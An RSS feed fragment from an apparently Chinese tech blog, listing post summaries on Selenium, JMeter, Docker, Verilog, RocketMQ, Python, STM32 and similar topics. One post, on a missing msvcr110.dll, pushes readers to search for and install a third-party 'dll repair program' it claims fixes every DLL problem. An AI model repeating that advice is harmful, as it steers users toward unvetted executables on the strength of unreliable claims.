      <description>一、介绍 selenium是一个用于Web应用程序测试的工具。Selenium测试直接运行在浏览器中，就像真正的用户在操作一样。支持的浏览器包括IE（7, 8, 9, 10, 11），Mozilla Firefox，Safari，Google Chrome，Opera，Edge等。这个工具的主要功能包括：测试与浏览器的兼容性——测试应用程序看是否能够很好得工作在不同浏览器和操作系统之上。测试系统功能——创建回归测试检验软件功能和用户需求。支持自动录制动作和自动生成.Net、Java、Perl等不同语言的测试脚本。&#xA;二、功能 1.框架底层使用JavaScript模拟真实用户对浏览器进行操作。测试脚本执行时，浏览器自动按照脚本代码做出点击，输入，打开，验证等操作，就像真实用户所做的一样，从终端用户的角度测试应用程序。&#xA;2.使浏览器兼容性测试自动化成为可能，尽管在不同的浏览器上依然有细微的差别。&#xA;3.使用简单，可使用Java，Python等多种语言编写用例脚本。&#xA;三、组件 1.Selenium IDE：一个Firefox插件，可以录制用户的基本操作，生成测试用例。随后可以运行这些测试用例在浏览器里回放，可将测试用例转换为其他语言的自动化脚本。&#xA;优点：&#xA;①记录快捷方便。&#xA;②代码转换功能和使用方便，易于生成其他编程语言的测试用例代码。&#xA;③支持跨域。&#xA;④不依赖于Java运行环境。&#xA;缺点：&#xA;①记录回复方式的稳定性和可靠性有限。&#xA;②只支持Mozilla firefox。&#xA;③只支持Selense命令语言，虽然可以导出为其他编程语言的测试用例。&#xA;④对于复杂的页面逻辑及其处理能力有限。&#xA;2.Selenium Remote Control (RC) ：支持多种平台(Windows，Linux，Solaris)和多种浏览器(IE，Firefox，Opera，Safari)，可以用多种语言(Java，Ruby，Python，Perl，PHP，C#)编写测试用例。&#xA;3.Selenium Grid ：允许Selenium-RC针对规模庞大的测试案例集或者需要在不同环境中运行的测试案例集进行扩展。&#xA;4.Selenium WebDriver ：WebDriver前身是Selenium RC，可以看作是Selenium RC的替代品，直接发送命令给浏览器，并检索结果。&#xA;WebDriver和Selenium RC的区别：&#xA;WebDriver&#xA;①不需要Selenium WebDriver Server就可以运行测试用例。&#xA;②WebDriver独立使用本地浏览器运行测试用例。&#xA;③WebDriver既可以测试传统的桌面Web应用程序，也可以测试手机上的应用程序，如iPhone或Android应用程序。&#xA;④WebDriver可以支持大多数最新版本的浏览器。&#xA;Selenium RC&#xA;①Selenium RC需要Selenium Server来运行测试用例。&#xA;②Selenium RC使用JavaScript来驱动运行测试用例的浏览器。&#xA;③Selenium RC只能支持Web应用程序测试。&#xA;④Selenium RC可以支持所有浏览器但不支持最新版本。</description>
    </item>
    <item>
      <title>结构型模式-适配器模式学习demo</title>
      <link>https://bchobby.github.io/posts/a688fe805a7b35cfb7c9948a20744cae/</link>
      <pubDate>Tue, 30 May 2023 19:51:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a688fe805a7b35cfb7c9948a20744cae/</guid>
      <description>前言： 在目前敏捷开发中，跟随需求版本迭代，部分业务功能，在不同的指标影响下，部分指标下业务规则变动较大时，可能要重构代码，&#xA;再或者替换老版本代码时，新人在没有手册的情况下，不敢随意改动复杂业务代码，&#xA;可以增加大量的if 、else代码维护老功能吗，不涉及的指标使用老代码，涉及大量改动的使用新代码，外部页面调用时，只有一个入口；&#xA;当时此处谈论的只涉及简单的结构调整，使用适配器模式简单维护历史代码，&#xA;要是想重构的话，使用简单工厂等创建型模式也可以，例如：简单工厂模式&#xA;TODO下次完善</description>
    </item>
    <item>
      <title>【2023年电工杯数学建模竞赛B题人工智能对大学生学习影响的评价】完整思路分析&#43;完整代码</title>
      <link>https://bchobby.github.io/posts/89394d02d061fa2f1d08b51dab18e86a/</link>
      <pubDate>Tue, 30 May 2023 17:12:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89394d02d061fa2f1d08b51dab18e86a/</guid>
      <description>1.问题背景与描述 这道题整体还是相对简单的，比较适合新手，选的人多对应获奖数量也会多，所以不要纠结于选题，就选你看上去能做的就好&#xA;2.问题分析 2.1 问题一的分析 对附件2中所给数据进行分析和数值化处理，并给出处理方法；首先利用问题所给数据进行预处理分析。具体包括对问卷调查数据进行信度分析，确保问卷的可用性与合理性。进一步对问卷数据进行热编码，也就是数值化处理。&#xA;首先问卷数据量化这一步至关重要，想做出彩，数据量化和预处理这块可以认真考虑。&#xA;下面是ChatGPT给出的数据量化思路，可以参考&#xA;数据量化完成之后还可以进行进一步数据分析，具体可以进行的分析包括相关性分析，方差分析，T检验，描述性统计分析。&#xA;问题一可以利用spss来做，过程会简单一些，当然最好用python，博主后续会更新python解题代码。&#xA;2.2 问题二的分析 本提要求根据分析结果选取合适的评价指标来建立评价指标体系。&#xA;ChatGPT给出的思路，不能说毫无作用，只能说完全不理解我说的。（这里就你看出它不是万能的，有自己局限性）&#xA;本题其实发散性很强，关键是要有自己的想法。我这里只提供一种思路，首先你要明确你的评价目标。本题是要评价人工智能对大学生学习的影响，也就是利用人工智能使用频次，使用时长，使用方法等指标来评价大学生学习成绩。要求建立评价指标体系，简单的说就是用量化模型来找出影响大学生学习效率和学习成绩的主要影响指标（这些指标就是问题一量化指标的一部分）。总的来说评价指标体系的建立就是一个指标变量筛选过程。具体的筛选方法包括回归分析，共线性诊断等等。&#xA;2.3 问题三的分析 本提要求建立数学模型，评价人工智能对大学生学习的影响，给出明确、有说服力的结论；这里就是利用建立的评价指标体系来建立综合评价模型，来分析人工智能的广泛使用是否能有效提升大学生学习效率等。&#xA;一种方法还是建立回归模型来讨论具体指标的影响，但是这么做的话感觉和问题二相似了。因此这里也可以拓展一下，求解哪些评价指标对大学生学习提升影响大。可以量化指标影响水平，也就是计算指标得分。从而给出影响水平较大的指标，并进行进一步分析。可以建立熵权法或者灰色关联模型来计算得分并分析。（指标权重得分计算方法有很多，大家可以参考相关文献）&#xA;2.4 问题四的分析 这个就比较简单了，chatgpt最擅长的工作，不过这里还是建议大家自己写一下。需要将前三问的建模分析结果进行汇总，并且给出一份文案报告。&#xA;3.完整代码分享 你好审核，是站内链接&#xA;2023年电工杯B完整代码+结果-站内链接&#xA;2023年电工杯B完整paper-参赛作品</description>
    </item>
    <item>
      <title>Jmeter性能测试之命令行执行和生成测试报告</title>
      <link>https://bchobby.github.io/posts/a23e3863f08f51a683c938a35e91915e/</link>
      <pubDate>Tue, 30 May 2023 16:29:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a23e3863f08f51a683c938a35e91915e/</guid>
      <description> 准备 Jmeter有两种运行方式：一种是上面采用的界面模式(GUI)形式，会占用java虚拟机的资源；另一种是命令行模式(non-GUI)执行，这样节约资源，尤其是在持续集成时基本都是采用non-GUI模式。&#xA;配置环境变量&#xA;命令行执行 命令行格式&#xA;jmeter -n -t &amp;lt;testplain filename&amp;gt; -l &amp;lt;listener filename&amp;gt; 参数说明：&#xA;testplain filename：jmx文件的绝对路径或相对路径&#xA;listener filename：执行之后结果文件名，后缀名必须是.jtl&#xA;调试压测请求&#xA;命令行下，如果想查看每个请求返回的结果，需要修改jmeter.properties配置文件&#xA;将上面的注释打开，并且值修改成true，就会打开该条记录，jmeter就会将该条信息输出到我们指定的jtl文件中，不要要注意压测过程中，会产生大量的这样的记录，真正压测时，最好不要开太多的日志记录。&#xA;实时查看压测结果&#xA;jmeter命令行下，也可以实时查看压测结果，同样是修改配置文件jmeter.properties&#xA;打开上面的summariser.name、summariser.interval、summariser.out这三个配置项，保存，重新运行jmeter，应该就可以在shell里看到统计信息了。 生成测试报告 执行命令如下&#xA;jmeter -n -t test.jmx -l result.jtl -e -o ./result_report 参数说明:&#xA;n：非GUI模式执行JMeter&#xA;t： 脚本文件(.jmx文件)的路径&#xA;l： 指定生成测试结果的保存文件(.jtl格式)，此文件必须不存在&#xA;e：测试结束后，生成测试报告&#xA;o：用于存放测试报告的路径&#xA;注意：result_report 是自己创建的测试报告文件夹，每次启动命令之前，文件夹内容要和 jtl 文件一起清空，否则会报错。&#xA;查看测试报告&#xA;打开index.html </description>
    </item>
    <item>
      <title>怎么将主机的文件传到容器【docker cp】</title>
      <link>https://bchobby.github.io/posts/96540caf549cd00fd5e1d98485a68488/</link>
      <pubDate>Tue, 30 May 2023 12:35:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96540caf549cd00fd5e1d98485a68488/</guid>
      <description>要将主机的文件传输到容器中，可以使用 `docker cp` 命令。&#xA;以下是一个简单的示例，假设您有一个名为 `mycontainer` 的容器，并且要将主机上的文件 `/path/to/file` 传输到该容器的 `/container/path` 目录：&#xA;```&#xA;docker cp /path/to/file mycontainer:/container/path&#xA;```&#xA;这将把主机上的文件复制到容器的指定路径。&#xA;请注意，在上述命令中，`mycontainer` 是容器的名称或 ID，`/container/path` 是容器中要复制到的目标路径。</description>
    </item>
    <item>
      <title>HDLBits学习（四）Circuits--Combinational Logic</title>
      <link>https://bchobby.github.io/posts/43efb3739e251236350762c3caf6646c/</link>
      <pubDate>Tue, 30 May 2023 10:49:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43efb3739e251236350762c3caf6646c/</guid>
      <description>Combinational Logic Basic Gates wire-- nor-- xor-- More logic gates-- 7420chip-- (此部分为基础逻辑门) Truthtable1 可用卡诺图或公式法化简F=x1x3+x2~x3&#xA;需要注意的是：F中的+为或，乘为与，故：f=x1&amp;amp;x3 | x2&amp;amp;~x3;&#xA;Mt2015 eq2 题目：创建一个两输入inputs A [1:0], B[1:0]，一输出Z。当A 与 B 相等时，Z 输出为1， 否则为0；&#xA;code:无&#xA;Mt2015 q4a 题目：创建一个电路，其功能可以实现 z = (x ^ y) &amp;amp; x&#xA;codel:无&#xA;Mt2015 q4b 用卡诺图化简&#xA;Mt2015 q4 ringer 软件思路：如果什么条件成立了，则有什么结果。&#xA;硬件思路：当输入为什么条件时，输入是什么结果，输入与输出匹配，而不是有这个输入才导致的输出&#xA;thermostat Popcount3 数1的个数，重复题&#xA;Gatesv 题目：有一个4bit输入的电路，我们需要了解4bit输入数据之间的关系。&#xA;out_both：这个输出向量的每个比特都应该指示对应的输入比特及其左边的邻居（更高的索引）是否都是“1”。例如，out_both[2]应该指示in[2]和in[3]是否都是1。由于in[3]在左边没有邻居，所以答案很明显，所以我们不需要知道out_both[3]。&#xA;out_any：这个输出向量的每个比特都应该指示对应的输入比特及其右边的邻居是否为“1”。例如，out_any[2]应指示[2]中或[1]中是否为1。由于in[0]右边没有邻居，答案很明显，所以我们不需要知道out_any[0]。&#xA;out_different：这个输出向量的每个比特都应该指示对应的输入比特是否与其左边的邻居不同。例如，out_different[2]应指示[2]中的内容是否与[3]中的内容不同。对于这一部分，将向量视为环绕，因此在[3]中，左侧的邻居在[0]中。&#xA;code:&#xA;module top_module( input [3:0] in, output [2:0] out_both, output [3:1] out_any, output [3:0] out_different ); assign out_both={in[3]&amp;amp;in[2],in[2]&amp;amp;in[1],in[1]&amp;amp;in[0]}; assign out_any={in[3]|in[2],in[2]|in[1],in[1]|in[0]}; assign out_different={in[3]^in[0],in[3]^in[2],in[2]^in[1],in[1]^in[0]}; endmodule Gatesv100 题目：上题输入长度变为100</description>
    </item>
    <item>
      <title>关于petalinux 2017.4版本petalinux-package 命令打包报错问题</title>
      <link>https://bchobby.github.io/posts/8c864384f0bd851980b28778eda2bb7e/</link>
      <pubDate>Tue, 30 May 2023 10:04:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c864384f0bd851980b28778eda2bb7e/</guid>
      <description>#关于petalinux 2017.4版本petalinux-package 命令打包报“文件不存在”的问题&#xA;该问题报错为如下图：&#xA;petalinux定制linux系统前面的步骤均没有问题（这里使用petalinux-build命令一次性编译），到最后的打包环节时，显示一级引导程序文件不存在。&#xA;解决方法：&#xA;先分别buil u-boot，kernel，rootfs&#xA;再全部打包一遍&#xA;总结：&#xA;笔者推测该问题是petalinux2017.04的BUG。该问题困扰了笔者几天，网上没有出现过此类问题，也没有解决方法。我在此写出解决方法，希望可以帮助遇到相同问题的人。</description>
    </item>
    <item>
      <title>Rocketmq消息批量发送&amp;消息批量消费</title>
      <link>https://bchobby.github.io/posts/e014ef8b4824a5c2c9fbdd4858b77797/</link>
      <pubDate>Tue, 30 May 2023 09:32:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e014ef8b4824a5c2c9fbdd4858b77797/</guid>
      <description>前言：批量发送和消费消息在一定程度上可以提高吞吐量，减少带宽，那么Rocketmq 中的消息怎么进行批量的发送和批量的消费呢；&#xA;1 消息的批量发送：&#xA;1.1 批量发送的优点以及实现：&#xA;批量发送消息可以提高 RocketMQ 的生产者性能和吞吐量。由于批量发送消息可以减少网络 I/O 操作和降低消息发送延迟，因此它在以下情况下特别有用：&#xA;发送大量小型消息时需要降低消息发送延迟时需要提高生产者性能时 但是，批量发送消息也存在一些注意事项，需要注意以下几点：&#xA;消息列表的大小不能超过 broker 设置的最大消息大小。消息列表的大小不能超过生产者设置的 maxMessageSize 参数，此参数默认为 4MB。批量发送消息不支持消息事务。如果的代码在发送消息列表时发生异常，则可能会发生部分消息发送成功，部分消息发送失败的情况。如果要确保所有消息都已成功发送，则需要增加错误处理逻辑和消息重试机制。 批量发送消息是一种提高 RocketMQ 生产者性能和吞吐量的好方法，但需要注意消息列表大小和错误处理机制，以确保生产者的可靠性和稳定性。&#xA;public class SimpleBatchProducer { public static void main(String[] args) throws Exception { DefaultMQProducer producer = new DefaultMQProducer(&#34;BatchProducerGroupName&#34;); producer.start(); //If you just send messages of no more than 1MiB at a time, it is easy to use batch //Messages of the same batch should have: same topic, same waitStoreMsgOK and no schedule support String topic = &#34;</description>
    </item>
    <item>
      <title>vue3中el-collapse-item不想点整个标题折叠和展开</title>
      <link>https://bchobby.github.io/posts/4fb6face8a60de792fbe3290018b579d/</link>
      <pubDate>Tue, 30 May 2023 09:16:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4fb6face8a60de792fbe3290018b579d/</guid>
      <description>el-collapse-item组件鼠标点标题时都会折叠和展开，现在的需求只能是在点击最右边的小图标时才进行折叠和展开。组件没有提供可控制的属性，那只能想办法看看能不能通过CSS来实现。研究发现通过样式穿透果然可以。&#xA;&amp;lt;style lang=&#34;scss&#34; scoped&amp;gt;&#xA;:deep(.el-collapse-item__header) {&#xA;pointer-events: none;&#xA;}&#xA;:deep(.el-collapse-item__arrow) {&#xA;pointer-events: auto;&#xA;}&#xA;&amp;lt;/style&amp;gt;</description>
    </item>
    <item>
      <title>Python常用数据结构</title>
      <link>https://bchobby.github.io/posts/7593facce73c74b59e6837d977840599/</link>
      <pubDate>Tue, 30 May 2023 09:05:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7593facce73c74b59e6837d977840599/</guid>
      <description>Python 提供了多种内置的数据结构，用于存储和组织数据。以下是一些常见的 Python 数据结构：&#xA;1.列表（List）：列表是一个有序、可变的数据集合，可以包含任意类型的元素。列表使用方括号 [] 表示，元素之间用逗号分隔。例如：my_list = [1, 2, 3, &#39;a&#39;, &#39;b&#39;, &#39;c&#39;]。&#xA;2.元组（Tuple）：元组是一个有序、不可变的数据集合，可以包含任意类型的元素。元组使用圆括号 () 表示，元素之间用逗号分隔。例如：my_tuple = (1, 2, 3, &#39;a&#39;, &#39;b&#39;, &#39;c&#39;)。&#xA;3.字典（Dictionary）：字典是一种键值对（Key-Value）的数据结构，用于存储无序的数据集合。每个元素由一个键和一个对应的值组成，键必须是唯一的。字典使用花括号 {} 表示，每个键值对之间用冒号分隔。例如：my_dict = {&#39;name&#39;: &#39;John&#39;, &#39;age&#39;: 25, &#39;city&#39;: &#39;New York&#39;}。&#xA;4.集合（Set）：集合是一个无序、不重复的数据集合，用于存储唯一的元素。集合使用花括号 {} 或 set() 函数来创建，元素之间用逗号分隔。例如：my_set = {1, 2, 3, 4, 5} 或 my_set = set([1, 2, 3, 4, 5])。&#xA;5.字符串（String）：字符串是一个由字符组成的不可变序列，用于存储文本数据。字符串可以使用单引号或双引号括起来，例如：my_string = &#34;Hello, World!&#34;。&#xA;除了这些内置的数据结构，Python 还提供了其他扩展的数据结构，如命名元组（NamedTuple）、队列（Queue）、堆（Heap）等，这些数据结构可以通过导入相应的模块来使用。&#xA;另外，Python 还支持自定义数据结构，通过类（Class）来创建自己的数据类型，可以定义数据的属性和方法，并进行封装和抽象。这使得 Python 可以根据特定的需求创建更灵活的数据结构。&#xA;当然，还有更多 Python 的数据结构：&#xA;1.堆栈（Stack）：堆栈是一种具有后进先出（LIFO）特性的数据结构，类似于一叠盘子。你可以使用列表来实现一个堆栈，通过 append() 方法将元素添加到堆栈顶部，使用 pop() 方法从堆栈顶部移除元素。例如：</description>
    </item>
    <item>
      <title>【强化学习】Policy Gradient 策略梯度算法求解CartPole倒立摆问题 &#43; Pytorch代码实战</title>
      <link>https://bchobby.github.io/posts/2010b2530d099a6af7fedff1055a4de9/</link>
      <pubDate>Mon, 29 May 2023 23:08:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2010b2530d099a6af7fedff1055a4de9/</guid>
      <description>文章目录 一、倒立摆问题介绍二、策略梯度算法简介三、详细资料四、Python代码实战4.1 运行前配置4.2 主要代码4.3 运行结果展示4.4 关于可视化的设置 一、倒立摆问题介绍 Agent 必须在两个动作之间做出决定 - 向左或向右移动推车 - 以使连接到它的杆保持直立。&#xA;二、策略梯度算法简介 我们可以把采样到的数据代入下式中，把梯度算出来。也就是把每一个 s s s 与 a a a 的对拿进来，计算在某一个状态下采取 某一个动作的对数概率（log probability) log ⁡ p θ ( a t n ∣ s t n ) \log p_\theta\left(a_t^n \mid s_t^n\right) logpθ​(atn​∣stn​) 。对这个概率取梯度，在梯度前面乘一个权重，权重就是这场游戏的奖励。我们计算出梯度后，就可以更新模型。&#xA;∇ R ˉ θ = 1 N ∑ n = 1 N ∑ t − 1 T n R ( τ n ) ∇ log ⁡ p θ ( a t n ∣ s t n ) \nabla \bar{R}_\theta=\frac{1}{N} \sum_{n=1}^N \sum_{t-1}^{T_n} R\left(\tau^n\right) \nabla \log p_\theta\left(a_t^n \mid s_t^n\right) ∇Rˉθ​=N1​n=1∑N​t−1∑Tn​​R(τn)∇logpθ​(atn​∣stn​)</description>
    </item>
    <item>
      <title>【Python】一个随机生成四则运算题目的小程序</title>
      <link>https://bchobby.github.io/posts/d1698d1b17afad6f9dc0f5c1137b8eda/</link>
      <pubDate>Mon, 29 May 2023 18:48:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1698d1b17afad6f9dc0f5c1137b8eda/</guid>
      <description>import random # 生成随机整数 def generate_random_number(): return random.randint(1, 100) # 生成随机运算符 def generate_random_operator(): operators = [&#39;+&#39;, &#39;-&#39;, &#39;*&#39;, &#39;/&#39;] return random.choice(operators) # 生成随机四则运算题目 def generate_math_question(): num1 = generate_random_number() num2 = generate_random_number() operator = generate_random_operator() if operator == &#39;/&#39;: # 除法运算，确保结果是整数 num1 = num1 * num2 elif operator == &#39;-&#39;: # 减法运算，确保结果不为负数 num1, num2 = max(num1, num2), min(num1, num2) question = f&#34;{num1} {operator} {num2}&#34; answer = eval(question) return question, answer # 生成指定数量的四则运算题目 def generate_math_questions(num_questions): questions = [] for _ in range(num_questions): question, answer = generate_math_question() questions.</description>
    </item>
    <item>
      <title>VS2019 WPF制作OTA上位机（三）串口打开</title>
      <link>https://bchobby.github.io/posts/c95e4c6c7091319323a4ffd70ba2adb1/</link>
      <pubDate>Mon, 29 May 2023 18:04:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c95e4c6c7091319323a4ffd70ba2adb1/</guid>
      <description>先在UI上添加控件&#xA;首先，改变一下原来的方法， 原来的三个控件是没有布局的，添加一下布局。&#xA;布局用简单的行布局，也就是说从，上到下，分成一行一行的，如下图&#xA;将上一篇文章的代码修改&#xA;&amp;lt;Window x:Class=&#34;Test.MainWindow&#34; xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34; xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34; xmlns:d=&#34;http://schemas.microsoft.com/expression/blend/2008&#34; xmlns:mc=&#34;http://schemas.openxmlformats.org/markup-compatibility/2006&#34; xmlns:local=&#34;clr-namespace:Test&#34; mc:Ignorable=&#34;d&#34; Title=&#34;MainWindow&#34; Height=&#34;450&#34; Width=&#34;950&#34;&amp;gt; &amp;lt;Grid&amp;gt; &amp;lt;Grid.RowDefinitions&amp;gt; &amp;lt;RowDefinition Height=&#34;60&#34;&amp;gt;&amp;lt;/RowDefinition&amp;gt; &amp;lt;RowDefinition Height=&#34;60&#34;&amp;gt;&amp;lt;/RowDefinition&amp;gt; &amp;lt;RowDefinition Height=&#34;170&#34;&amp;gt;&amp;lt;/RowDefinition&amp;gt; &amp;lt;RowDefinition Height=&#34;130&#34;&amp;gt;&amp;lt;/RowDefinition&amp;gt; &amp;lt;/Grid.RowDefinitions&amp;gt; &amp;lt;Grid Grid.Row=&#34;0&#34;&amp;gt; &amp;lt;Label Height=&#34;1&#34; Background=&#34;Black&#34; VerticalAlignment=&#34;Top&#34;&amp;gt;&amp;lt;/Label&amp;gt; &amp;lt;Label Height=&#34;40&#34; Width=&#34;85&#34; Content=&#34;bin文件路径：&#34; VerticalContentAlignment=&#34;Center&#34; VerticalAlignment=&#34;Center&#34; HorizontalAlignment=&#34;Left&#34;&amp;gt;&amp;lt;/Label&amp;gt; &amp;lt;TextBox Name=&#34;TextBox_BinFilePath&#34; Height=&#34;40&#34; Width=&#34;600&#34; VerticalContentAlignment=&#34;Center&#34; HorizontalContentAlignment=&#34;Left&#34; VerticalAlignment=&#34;Center&#34; HorizontalAlignment=&#34;Left&#34; Margin=&#34;100,0,0,0&#34;&amp;gt;&amp;lt;/TextBox&amp;gt; &amp;lt;Button Name=&#34;Button_GetBinFilePath&#34; Content=&#34;浏览bin路径&#34; Height=&#34;40&#34; Width=&#34;70&#34; VerticalAlignment=&#34;Center&#34; HorizontalAlignment=&#34;Right&#34; Margin=&#34;0,0,100,0&#34; Click=&#34;Button_GetBinFilePath_Click&#34;&amp;gt;&amp;lt;/Button&amp;gt; &amp;lt;Label Height=&#34;1&#34; Background=&#34;Black&#34; VerticalAlignment=&#34;Bottom&#34;&amp;gt;&amp;lt;/Label&amp;gt; &amp;lt;/Grid&amp;gt; &amp;lt;Grid Grid.Row=&#34;1&#34;&amp;gt; &amp;lt;Label Height=&#34;40&#34; Width=&#34;50&#34; Content=&#34;端口号&#34; VerticalContentAlignment=&#34;</description>
    </item>
    <item>
      <title>由于找不到msvcr110.dll 无法继续执行怎么解决（最新解决方法分享）</title>
      <link>https://bchobby.github.io/posts/555c54474573bfa7dcdcf595965d75be/</link>
      <pubDate>Mon, 29 May 2023 16:38:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/555c54474573bfa7dcdcf595965d75be/</guid>
      <description>MSVCR110.dll是Windows操作系统中的一个重要文件，一旦它出现丢失问题，会导致影响计算机整体的问题。这个跟MSVCP110.dll类似的误报，通常是由于安装编程工具或 部分无法正确安装所导致的问题。在这篇文章中，我们将一些解决此问题的方法分享给大家。&#xA;方法一：使用修复程序解决问题&#xA;1.在浏览器顶部网页搜索【dll修复程序.site】，进入站点点击下载&#xA;2.在站点下载一个【dll修复程序】，这个程序是可以修复百分之百dll丢失的问题&#xA;3.安装完成dll修复程序安装包右键进行解压，然后点击开始检测修复dll文件缺失的情况&#xA;4.检测完后，点击下一步让程序自动修复安装既可以，提示完成重启一下电脑就可以正常运行&#xA;方法二：重新安装msvcr110.dll&#xA;1、从windows官网上下载最新版本的msvcr110.dll文件&#xA;2、在下载结束后，双击运行下载的文件，按照屏幕上的提示进行安装。&#xA;3、重新启动您的计算机，尝试打开应用程序并查看是否已解决问题。&#xA;方法三：重新安装计算机系统&#xA;1.备份数据：在重装系统之前，需要备份你的计算机中的重要数据。&#xA;2.获取安装盘：要重装系统，需要一张操作系统的安装盘。&#xA;3.进行系统安装：电脑开机后，系统会从安装盘中启动。按照提示进行系统安装，选择合适的语言、时区、键盘布局等，然后点击“下一步”。&#xA;4.安装驱动：系统安装完成后，需要手动安装硬件驱动程序。可以从官方网站下载驱动程序，解压后安装。</description>
    </item>
    <item>
      <title>跑python代码过程中遇到的种种bug</title>
      <link>https://bchobby.github.io/posts/ab3b6f8fe879cc98149644a9561fa7b6/</link>
      <pubDate>Mon, 29 May 2023 16:37:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab3b6f8fe879cc98149644a9561fa7b6/</guid>
      <description>第一行：国际惯例咕咕咕&#xA;第二行：不记下错误和解决方法，我就每次都得现搜。我清楚地记得我遇到过这些错，我也清楚地记得我忘记怎么解决了。&#xA;第三行：我生平最讨厌配环境。（但还是配好了&#xA;第四行：本地能跑服务器跑不起来我再次自闭，跑去配服务器环境了。&#xA;以下bug环境相关的都略了，pip conda啥的一阵儿安装：(【upd：本地真好配服务器环境全是bug贴下面了：(】&#xA;一、文件读取or路径问题 FileNotFoundError: .\data\eth\hotel\true_pos_.csv not found.&#xA;问题：找不到文件路径。&#xA;解决方法：找到文件导入部分，将路径改为绝对路径即可&#xA;二、逻辑or手残or无脑写错代码问题 RuntimeError: view size is not compatible with input tensor&#39;s size and stride (at least one dimension spans across two contiguous subspaces). Use .reshape(...) instead.&#xA;问题：tensor中元素地址不连续&#xA;解决方法：因为view()需要tensor中的元素地址是连续的，但可能出现tensor不连续的情况，所以先用 .contiguous()将其在内存中变成连续分布。&#xA;RuntimeError: Index put requires the source and destination dtypes match, got Long for the destination and Float for the source.&#xA;问题：变量类型不匹配&#xA;解决方法：找到对应位置，将变量转为float即可。&#xA;TypeError: list indices must be integers or slices, not tuple</description>
    </item>
    <item>
      <title>stm32快速查阅手册-长期总结</title>
      <link>https://bchobby.github.io/posts/32c498e9d54aff67f473cf662db1e4c3/</link>
      <pubDate>Mon, 29 May 2023 16:17:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32c498e9d54aff67f473cf662db1e4c3/</guid>
      <description>stm32编程技巧-长期总结 文章目录 stm32编程技巧-长期总结0. STLINK连接1. 芯片系统结构2. STM32芯片引脚定义3. GPIO库函数4. EXTI库函数5. NVIC库函数6. TIM库函数7. ADC库函数8. DMA库函数9. USART库函数10. I2C外设库函数11. SPI外设库函数 本篇是本人在学习stm32过程中，逐步将常用的一些知识点单独摘出来，以方便后续查阅。不定期更新。 注：笔记主要参考B站 江科大自化协 教学视频“ STM32入门教程-2023持续更新中”。 0. STLINK连接 若STLINK就是连接不上，可以依次尝试以下办法：&#xA;更新STLINK驱动。设备管理器删除未识别的设备，然后拔了重插。关闭电源选项中的“USB选择性暂停”，然后重新插。https://www.bilibili.com/read/cv18126898换一个STLINK。 注：宗旨就是遇到什么报错就百度什么报错，实在弄不成就换STLINK。&#xA;1. 芯片系统结构 图0-1 STM32芯片系统结构 首先来看看STM32的芯片系统结构（只需要大致了解一下即可）：&#xA;Cortex-M3：内核。注意ICode、DCode、System是直接从内核引出的三根总线。Flash：存储编写的程序。ICode总线和DCode总线主要用于连接Flash闪存。SRAM：用于存储程序运行时的变量数据。ICode：指令总线。加载程序指令。DCode：数据总线。加载数据，如常量和调试参数。System：系统总线。连接到Flash以外其他外设上，如SRAM、FSMC（本课程不会用到）。AHB系统总线：先进高性能总线。用于挂载最基本的（如复位和时钟控制RCC、SDIO）、或者性能比较高的外设。APB2、APB1：先进外设总线。用于连接一般的外设。通常AHB（72MHz）性能总体高于APB，而APB2（72MHz）性能高于APB1（36MHz）。所以APB2连接外设中稍微重要的部分，如GPIO、各外设的1号接口；剩下的次要外设给APB1。桥接2、桥接1：由于AHB和APB的总线协议、 总线速度、数据传输格式上的差异，需要加上2个桥接，来完成数据的转换和缓存。DMA2、DMA1：拥有和CPU相同的总线控制权，用于帮助CPU完成数据搬运这样简单但重复的活，相当于CPU的小秘书。若外设需要进行数据搬运，那么会直接找DMA（DMA请求），DMA就会获得总线控制权来搬运数据，整个过程无需CPU的参与。 2. STM32芯片引脚定义 图1-6 STM32F103C8T6引脚定义 上图给出了UP主自己做的STM32F103C8T6引脚定义。一些说明如下：&#xA;标红色的是电源相关的引脚，标蓝色的是最小系统相关的引脚，标绿色的是IO口、功能口引脚。所以 最小系统板主要关心红色和蓝色部分。类型：S代表电源、I代表输入、O代表输出、I/O代表输入输出。I/O口电平：表示I/O所能容忍的电压，默认3.3V，FT表示最高容忍5V。注意没有FT标志的引脚都需要加装电平转换电路。主功能：上电默认功能。默认复用功能：I/O口上同时连接的外设功能引脚，配置IO口时可以设置是主功能/复用功能。重定义功能：如果需要某一个端口上实现两个功能，那么可以将其中一个功能重映射到另一个空闲端口上，这个空闲端口的重定义功能需要包含相应的功能。推荐优先使用加粗的IO口，没有加粗的可能需要配置或兼具其他功能，使用时需要注意。 下面来一一介绍这些引脚的功能（包括PA0~PA15、PB0~PB15、PC13~PC15、9个供电、2个时钟、1复位、1个BOOT0）：&#xA;引脚1：备用电池供电。可接3V电池，系统断电时为芯片内部的RTC和备用寄存器提供电源。引脚2：IO口/入侵检测/RTC。IO口输出或读取高低电平；入侵检测提供安全保障，可以将外部一些防拆的触点接在此端口，若触点电平变化，STM32芯片会自动清空寄存器数据；RTC可输出RTC校准时钟、RTC闹钟脉冲、秒脉冲。引脚3、4：IO口/32.765kHzRTC晶振。引脚5、6：系统主晶振，一般8MHz，芯片内的锁相环电路将时钟倍频成72MHz作为系统主时钟。引脚7：系统复位引脚。N表示低电平复位。引脚8、9：芯片内部模拟部分的电源，如ADC、RC振荡器等。VSS接地、VDD接3.3V。引脚10~19、21~22、25~33、41~43、45~46：共26个默认普通IO口。 